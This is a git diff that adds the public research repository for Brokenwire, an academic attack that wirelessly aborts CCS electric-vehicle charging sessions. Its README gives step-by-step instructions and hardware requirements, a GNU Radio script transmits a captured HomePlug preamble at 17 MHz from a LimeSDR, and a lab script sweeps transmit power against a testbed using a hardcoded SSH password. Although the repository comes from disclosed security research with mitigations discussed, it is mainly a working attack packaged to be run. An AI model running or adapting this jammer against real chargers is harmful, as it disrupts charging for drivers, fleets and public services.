diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..5d7beea
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,3 @@
+*.DS_Store*
+*__pycache__*
+*.ipynb_checkpoints*
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000..af5faff
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,31 @@
+FROM ubuntu:20.04
+
+ENV LANG C.UTF-8
+
+ARG DEBIAN_FRONTEND=noninteractive
+ENV TZ=Europe/London
+RUN apt -y update
+RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
+RUN apt-get install -y tzdata
+RUN apt -y install python3-pip wget git python-mako doxygen cmake build-essential texlive-fonts-recommended texlive-fonts-extra dvipng sshpass software-properties-common
+RUN add-apt-repository -y ppa:gnuradio/gnuradio-releases
+RUN apt -y install gnuradio
+RUN apt -y install git cmake g++ libboost-all-dev libgmp-dev swig python3-numpy python3-mako python3-sphinx python3-lxml libfftw3-dev libsdl1.2-dev libgsl-dev libqwt-qt5-dev libqt5opengl5-dev python3-pyqt5 liblog4cpp5-dev libzmq3-dev python3-yaml python3-click python3-click-plugins python3-zmq python3-scipy python3-gi python3-gi-cairo gobject-introspection gir1.2-gtk-3.0
+
+RUN apt -y install limesuite limesuite-udev
+
+WORKDIR /home
+
+ADD ./code /home/code
+WORKDIR /home/code
+
+### Make sure the newest numpy version is installed
+RUN pip3 install --upgrade numpy
+
+### Install Pyhton Requirements and Jupyter ###
+RUN pip3 install -r req
+RUN pip3 install --upgrade jupyter
+RUN pip3 install jupyterlab
+
+### Start a shell
+CMD ["/bin/bash"]
diff --git a/README.md b/README.md
index f3c2685..9826a4a 100644
--- a/README.md
+++ b/README.md
@@ -1,3 +1,74 @@
-# Brokenwire: Wireless Disruption of CCS EV Charging
+
-This repository will contain the evaluation source code for our paper Brokenwire once the embargo period has passed.
+# Brokenwire: Wireless Disruption of CCS Electric Vehicle Charging
+
+This repository contains the evaluation source code used in our NDSS paper [**Brokenwire: Wireless Disruption of CCS Electric Vehicle Charging**](https://www.ndss-symposium.org/wp-content/uploads/2023/02/ndss2023_s251_paper.pdf).
+
+Brokenwire is a novel attack against the **Combined Charging System (CCS)**, one of the most widely used DC rapid charging technologies for electric vehicles (EVs).
+The attack interrupts necessary control communication between the vehicle and charger, **causing charging sessions to abort**.
+The attack can be conducted wirelessly from a distance using electromagnetic interference, allowing individual vehicles or entire fleets to be disrupted simultaneously.
+In addition, the attack can be mounted with off-the-shelf radio hardware and minimal technical knowledge.
+With a power budget of 1 W, the attack is successful from around **47 m** distance.
+The **exploited CSMA/CA behavior** is a required part of the HomePlug GreenPHY, DIN 70121 & ISO 15118 standards and all known implementations exhibit it.
+
+Brokenwire has immediate implications for many of the **12 million** battery EVs estimated to be on the roads worldwide — and profound effects on the new wave of electrification for vehicle fleets, both for private enterprise and for crucial public
+services.
+In addition to electric cars, Brokenwire affects **electric ships, airplanes and heavy duty vehicles**.
+As such, we conducted a disclosure to industry and discuss in our paper a range of mitigation techniques that could be deployed to limit the impact.
+
+You can also learn more about Brokenwire on our [**website**](https://brokenwire.fail).
+
+## Structure of the Repository
+This repository is organized as follows:
+
+```
+. # root directory of the repository
+├── code # contains the evaluation source code
+│ ├── lab_evaluation # files used for the lab evaluation
+│ │ └── collect_data.py # Python script used to evaluate Brokenwire in a controlled lab setting
+│ ├── lib # various Python classes required for the evaluation
+│ │ │── EvaluationUtils.py # library that helps running the lab evaluation
+│ │ └── IPerfEvaluation.py # Python class used for the lab evaluation
+│ ├── req # text file that contains all the Python requirements
+│ └── scripts # directory that contains additional evaluation scripts
+│ └── preamble_emission.py # Python script that emits the preamble with a LimeSDR
+├── data # directory that contains required files
+│ └── preambles # directory that contains the preamble
+│ └── captured_preamble.dat # captured preamble used for the attack
+├── docker-compose.yml # configuration file of the Docker container
+├── Dockerfile # build instructions for the Docker container
+└── README.md # this README file
+```
+
+## Running the Docker Container
+This repository contains all configuration and source code files necessary to run the Brokenwire attack.
+To ensure a quick and easy deployment, we provide a Dockerfile to build a container with all the required dependencies.
+
**Please note**, to immediately get started with this repository, you will need `docker`, `docker-compose` and a LimeSDR.
+
+The following steps outline how to build and run the Docker container and execute the Brokenwire attack:
+
+ * `git clone https://github.com/ssloxford/brokenwire.git`
+ * `cd brokenwire/`
+ * `docker-compose build`
+ * `docker-compose up -d`
+
+Once the container is up and running, you can attach to it
+
+`docker attach brokenwire`
+
+and run the following command to start the attack:
+
+`python3 /home/code/scripts/preamble_emission.py --lime-sdr-gain LIMESDR_GAIN`
+
+where LIMESDR_GAIN is a value between -12 and 64.
+
+## Recommended Equipment
+
+To run the Brokenwire attack, a software-defined radio that can transmit at a center frequency of 17 MHz with a sample rate >= 25MSPS is required.
+While any SDR with the these properties should work, our source code is tailored to the use of a LimeSDR.
+Since Brokenwire is a very effective attack and does not require a high transmission power, testing the attack should not require any additional amplification.
+
+## Contributors
+ * [Sebastian Köhler](https://cs.ox.ac.uk/people/sebastian.kohler)
+ * [Richard Baker](https://www.cs.ox.ac.uk/people/richard.baker)
+ * [Martin Strohmeier](https://www.cs.ox.ac.uk/people/martin.strohmeier)
diff --git a/code/lab_evaluation/collect_data.py b/code/lab_evaluation/collect_data.py
new file mode 100644
index 0000000..e7a4b6b
--- /dev/null
+++ b/code/lab_evaluation/collect_data.py
@@ -0,0 +1,169 @@
+import sys
+sys.path.append("/home/code/lib/")
+
+from EvaluationUtils import EvaluationUtils
+from IPerfEvaluation import IPerfEvaluation
+import numpy as np
+import argparse
+import copy
+import glob
+import subprocess
+import os
+from subprocess import Popen
+import time
+import json
+
+class ConnectionError(Exception):
+ pass
+
+def set_noise_level(noise_level):
+ # Before setting the noise, make sure that no noise output is currently running
+ end_noise_output()
+ output_noise = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "/home/pi/evdisrupt-picoscope-awgn/run.sh", str(noise_level)])
+ time.sleep(5)
+ output_noise.terminate()
+
+def end_noise_output():
+ #sudo pkill -INT python3
+ kill_previous_output = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "sudo", "pkill", "-INT", "python3"])
+ # Wait for 5 seconds to give docker enough time to shutdown
+ time.sleep(5)
+ kill_previous_output.terminate()
+
+def emit_preamble(preamble, lime_sdr_gain):
+ run_gnuradio_script = Popen(["python3", "/home/code/scripts/preamble_emission.py", "--preamble", str(preamble), "--lime-sdr-gain", str(lime_sdr_gain)])
+ time.sleep(10)
+ return run_gnuradio_script
+
+def run_iperf(iperf_evaluation):
+
+ # IPerf Settings
+ ip = "192.168.2.1"
+ port = "1234"
+ evaluation_time = iperf_evaluation.evaluation_time
+ bandwidth = "5M"
+
+ # Start the IPerf Server
+ iperf_server = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-secc.lan", "iperf3", "-s", "-p", port, "-J", "-1"], stdout=subprocess.PIPE)
+ # Sleep for a little while to make sure the IPerf Server is up and running
+ time.sleep(5)
+
+ # Start the IPerf Client
+ # Possible error: iperf3: error - unable to connect to server: No route to host
+ iperf_client = Popen(["sshpass", "-p", "z2b6m0", "ssh", "-oStrictHostKeyChecking=no", "pi@evplctestbed-evcc.lan", "iperf3", "-u", "-b", bandwidth, "-t", str(evaluation_time), "-p", port, "-c", ip], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ try:
+ iperf_client.wait(timeout=(evaluation_time + 5))
+ except:
+ iperf_server.terminate()
+ iperf_client.terminate()
+ return
+
+ iperf_client_output = iperf_client.communicate()[1].decode('utf-8')
+ print(iperf_client_output)
+
+ if "unable to connect to server" in str(iperf_client_output) or str(iperf_client_output) != "":
+ print(f"FAILED: {iperf_client_output}")
+ iperf_server.terminate()
+ iperf_client.terminate()
+ raise ConnectionError('No connection to server possible!')
+
+ # Wait for the process, if no client connected kill the process
+ iperf_server.wait(timeout=20)
+ # Get the output from the IPerf Server Process
+ iperf_server_output = iperf_server.communicate()[0].decode('utf-8')
+ #print(iperf_server_output)
+
+ # Extract the important info from the IPerf Run
+ iperf_json_output = json.loads(iperf_server_output)
+ try:
+ iperf_summary = iperf_json_output["end"]["sum"]
+ iperf_evaluation.jitter = iperf_summary["jitter_ms"]
+ iperf_evaluation.lost = iperf_summary["lost_packets"]
+ iperf_evaluation.sent = iperf_summary["packets"]
+ iperf_evaluation.loss = iperf_summary["lost_percent"]
+ iperf_evaluation.print_results()
+ except:
+ pass
+
+ # Make sure both processes are terminated
+ iperf_server.terminate()
+ iperf_client.terminate()
+
+def run_evaluation(number_of_runs, iperf_evaluation):
+ noise_levels = [0]
+
+ if iperf_evaluation.preamble is None:
+ preambles = glob.glob("/home/data/preambles/*.dat")
+ else:
+ preambles = [iperf_evaluation.preamble]
+
+ lime_sdr_min_gain = 12
+ lime_sdr_max_gain = 64
+ gain_step_size = 2
+
+ for preamble in preambles:
+
+ # Repeat attack evaluation
+ for run in range(number_of_runs):
+ for noise_level in noise_levels:
+ #end_noise_output()
+ iperf_results = []
+ # Count how often the communication was interrupted
+ interruption_counter = 0
+
+ #if noise_level > 0:
+ #end_noise_output()
+ #set_noise_level(noise_level)
+ # Wait for 15 seconds to make sure the Picoscope has been initilized
+ #time.sleep(15)
+
+ # Iterate from lowest LimeSDR gain to highest
+ for lime_sdr_gain in range(lime_sdr_min_gain, lime_sdr_max_gain + 1, gain_step_size):
+ current_evaluation_run = copy.deepcopy(iperf_evaluation)
+ current_evaluation_run.lime_sdr_gain = lime_sdr_gain
+ current_evaluation_run.noise_level = noise_level
+
+ if interruption_counter > 1:
+ print("Now reached the maximum number of tries")
+ current_evaluation_run.loss = 100
+ iperf_results.append(current_evaluation_run)
+ continue
+
+
+ gnuradio_process = emit_preamble(preamble, lime_sdr_gain)
+ time.sleep(4)
+
+ try:
+ run_iperf(current_evaluation_run)
+ except ConnectionError:
+ print("Catching ConnectionError Exception")
+ current_evaluation_run.loss = 100
+ interruption_counter += 1
+
+ gnuradio_process.terminate()
+ time.sleep(4)
+
+ iperf_results.append(current_evaluation_run)
+
+ EvaluationUtils.save_results("results_20211214.csv", iperf_results)
+ time.sleep(5)
+ #end_noise_output()
+
+if __name__ == "__main__":
+ parser = argparse.ArgumentParser(description='Run evaluation for specific distance.')
+ parser.add_argument('--distance', '-d', type=float, help='Distance between PLC and transmitter (m).', required=True)
+ parser.add_argument('--amplifier', '-a', type=str, help='Amplifier.', required=False, default="1W")
+ parser.add_argument('--voltage', '-v', type=float, help='Amplifier Voltage.', required=False, default=12.0)
+ parser.add_argument('--current', '-c', type=float, help='Amplifier Current.', required=False, default=0.31)
+ parser.add_argument('--preamble', '-p', type=str, help='Path to the preamble.', required=False)
+ parser.add_argument('--time', '-t', type=int, help='Attack duration in seconds.', required=False, default=30)
+ parser.add_argument('--cable_length', type=int, help='Length of the charging cable (m).', required=False, default=4)
+ parser.add_argument('--angle', type=int, help='Angle between attacker and charging cable.', required=False, default=0)
+ parser.add_argument('--antenna_position', type=str, help='Description of antenna position.', required=False, default="Nearly centered, parallel")
+ parser.add_argument('--antenna', type=str, help='Description of antenna setting.', required=False, default="One dipole unrolled, one rolled")
+ parser.add_argument('--number_of_runs', '-r', type=int, help='Number of runs.', required=False, default=1)
+ args = parser.parse_args()
+
+ iperf_evaluation = IPerfEvaluation(args.distance, args.amplifier, args.voltage, args.current, args.preamble, args.time, args.cable_length, args.angle, args.antenna_position, args.antenna)
+
+ run_evaluation(args.number_of_runs, iperf_evaluation)
diff --git a/code/lib/EvaluationUtils.py b/code/lib/EvaluationUtils.py
new file mode 100644
index 0000000..98fe818
--- /dev/null
+++ b/code/lib/EvaluationUtils.py
@@ -0,0 +1,23 @@
+import glob
+import sys
+sys.path.append("../lib/")
+
+import pandas as pd
+import os
+import numpy as np
+
+class EvaluationUtils:
+
+ # This method takes an object, converts it into a dict and stores it into a CSV file
+ def save_results(file_name, results):
+ if len(results) > 0:
+ data_frame = pd.DataFrame(columns=results[0].to_dict().keys())
+ for result in results:
+ data_frame = data_frame.append(result.to_dict(), ignore_index=True)
+
+ # Check if file exists, if so, append the file.
+ # If not, create a new one.
+ if os.path.isfile(file_name):
+ data_frame.to_csv(file_name, mode='a', header=False, index=False)
+ else:
+ data_frame.to_csv(file_name, index=False)
diff --git a/code/lib/IPerfEvaluation.py b/code/lib/IPerfEvaluation.py
new file mode 100644
index 0000000..633431c
--- /dev/null
+++ b/code/lib/IPerfEvaluation.py
@@ -0,0 +1,30 @@
+class IPerfEvaluation():
+
+ noise_level = 0
+ lime_sdr_gain = 0
+ output_power = 0
+ jitter = 0
+ lost = 0
+ sent = 0
+ loss = 100
+
+ def __init__(self, distance, amplifier, voltage, current, preamble, evaluation_time, cable_length, angle, antenna_position, antenna):
+ self.distance = distance
+ self.amplifier = amplifier
+ self.voltage = voltage
+ self.current = current
+ self.preamble = preamble
+ self.evaluation_time = evaluation_time
+ self.cable_length = cable_length
+ self.angle = angle
+ self.antenna_position = antenna_position
+ self.antenna = antenna
+
+ def to_dict(self):
+ return self.__dict__
+
+ def print(self):
+ print(f"IPerf Evaluation:\n\tDistance: {self.distance}\n\tAmplifier: {self.amplifier}\n\tVoltage: {self.voltage}\n\tCurrent: {self.current}\n\tPreamble: {self.preamble}\n\tEvaluation Time: {self.evaluation_time}\n\tCable Length: {self.cable_length}\n\tAngle: {self.angle}\n\tAntenna Position: {self.antenna_position}\n\tAntenna: {self.antenna}")
+
+ def print_results(self):
+ print(f"Results for Noise Level: {self.noise_level} and Gain: {self.lime_sdr_gain}\nLost: {self.lost}\nSent: {self.sent}\nLoss: {self.loss}")
diff --git a/code/req b/code/req
new file mode 100644
index 0000000..fbf4311
--- /dev/null
+++ b/code/req
@@ -0,0 +1,6 @@
+mako
+jupyter
+numpy
+matplotlib
+pyzbar
+pandas
diff --git a/code/scripts/preamble_emission.py b/code/scripts/preamble_emission.py
new file mode 100644
index 0000000..bc4d358
--- /dev/null
+++ b/code/scripts/preamble_emission.py
@@ -0,0 +1,136 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+#
+# SPDX-License-Identifier: GPL-3.0
+#
+# GNU Radio Python Flow Graph
+# Title: Not titled yet
+# GNU Radio version: 3.9.2.0
+
+from gnuradio import blocks
+import pmt
+from gnuradio import gr
+from gnuradio.filter import firdes
+from gnuradio.fft import window
+import sys
+import signal
+from argparse import ArgumentParser
+from gnuradio.eng_arg import eng_float, intx
+from gnuradio import eng_notation
+from gnuradio import soapy
+
+
+
+
+class preamble_emission(gr.top_block):
+
+ def __init__(self, preamble='/home/data/preambles/captured_preamble.dat', lime_sdr_gain=-12):
+ gr.top_block.__init__(self, "Brokenwire", catch_exceptions=True)
+
+ ##################################################
+ # Parameters
+ ##################################################
+ self.preamble = preamble
+ self.lime_sdr_gain = lime_sdr_gain
+
+ ##################################################
+ # Variables
+ ##################################################
+ self.samp_rate = samp_rate = 25e6
+ self.freq = freq = 17e6
+
+ ##################################################
+ # Blocks
+ ##################################################
+ self.soapy_limesdr_sink_0 = None
+ dev = 'driver=lime'
+ stream_args = ''
+ tune_args = ['']
+ settings = ['']
+
+ self.soapy_limesdr_sink_0 = soapy.sink(dev, "fc32", 1, '',
+ stream_args, tune_args, settings)
+ self.soapy_limesdr_sink_0.set_sample_rate(0, samp_rate)
+ self.soapy_limesdr_sink_0.set_bandwidth(0, 0.0)
+ self.soapy_limesdr_sink_0.set_frequency(0, freq)
+ self.soapy_limesdr_sink_0.set_frequency_correction(0, 0)
+ self.soapy_limesdr_sink_0.set_gain(0, min(max(lime_sdr_gain, -12.0), 64.0))
+ self.blocks_file_source_0 = blocks.file_source(gr.sizeof_gr_complex*1, preamble, True, 0, 0)
+ self.blocks_file_source_0.set_begin_tag(pmt.PMT_NIL)
+
+
+
+ ##################################################
+ # Connections
+ ##################################################
+ self.connect((self.blocks_file_source_0, 0), (self.soapy_limesdr_sink_0, 0))
+
+
+ def get_preamble(self):
+ return self.preamble
+
+ def set_preamble(self, preamble):
+ self.preamble = preamble
+ self.blocks_file_source_0.open(self.preamble, True)
+
+ def get_lime_sdr_gain(self):
+ return self.lime_sdr_gain
+
+ def set_lime_sdr_gain(self, lime_sdr_gain):
+ self.lime_sdr_gain = lime_sdr_gain
+ self.soapy_limesdr_sink_0.set_gain(0, min(max(self.lime_sdr_gain, -12.0), 64.0))
+
+ def get_samp_rate(self):
+ return self.samp_rate
+
+ def set_samp_rate(self, samp_rate):
+ self.samp_rate = samp_rate
+ self.soapy_limesdr_sink_0.set_sample_rate(0, self.samp_rate)
+
+ def get_freq(self):
+ return self.freq
+
+ def set_freq(self, freq):
+ self.freq = freq
+ self.soapy_limesdr_sink_0.set_frequency(0, self.freq)
+
+
+
+def argument_parser():
+ parser = ArgumentParser()
+ parser.add_argument(
+ "--preamble", dest="preamble", type=str, default='/home/data/preambles/captured_preamble.dat',
+ help="Set Preamble [default=%(default)r]")
+ parser.add_argument(
+ "--lime-sdr-gain", dest="lime_sdr_gain", type=intx, default=-12,
+ help="Set LimeSDR Gain [default=%(default)r]")
+ return parser
+
+
+def main(top_block_cls=preamble_emission, options=None):
+ if options is None:
+ options = argument_parser().parse_args()
+ tb = top_block_cls(preamble=options.preamble, lime_sdr_gain=options.lime_sdr_gain)
+
+ def sig_handler(sig=None, frame=None):
+ tb.stop()
+ tb.wait()
+
+ sys.exit(0)
+
+ signal.signal(signal.SIGINT, sig_handler)
+ signal.signal(signal.SIGTERM, sig_handler)
+
+ tb.start()
+
+# try:
+# input('Press Enter to quit: ')
+# except EOFError:
+# pass
+ #tb.stop()
+ tb.wait()
+
+
+if __name__ == '__main__':
+ main()
diff --git a/data/brokenwire_logo.png b/data/brokenwire_logo.png
new file mode 100644
index 0000000..ff8ed01
Binary files /dev/null and b/data/brokenwire_logo.png differ
diff --git a/data/preambles/captured_preamble.dat b/data/preambles/captured_preamble.dat
new file mode 100644
index 0000000..a46a86a
Binary files /dev/null and b/data/preambles/captured_preamble.dat differ
diff --git a/docker-compose.yml b/docker-compose.yml
new file mode 100644
index 0000000..c5b4910
--- /dev/null
+++ b/docker-compose.yml
@@ -0,0 +1,19 @@
+version: "3.5"
+services:
+ brokenwire:
+ build:
+ context: .
+ dockerfile: Dockerfile
+ network_mode: "host"
+ privileged: true
+ image: brokenwire:brokenwire
+ environment:
+ - DISPLAY=$DISPLAY
+ container_name: brokenwire
+ stdin_open: true
+ tty: true
+ volumes:
+ - "/dev:/dev"
+ - "/proc:/proc"
+ - "./code:/home/code"
+ - "./data:/home/data"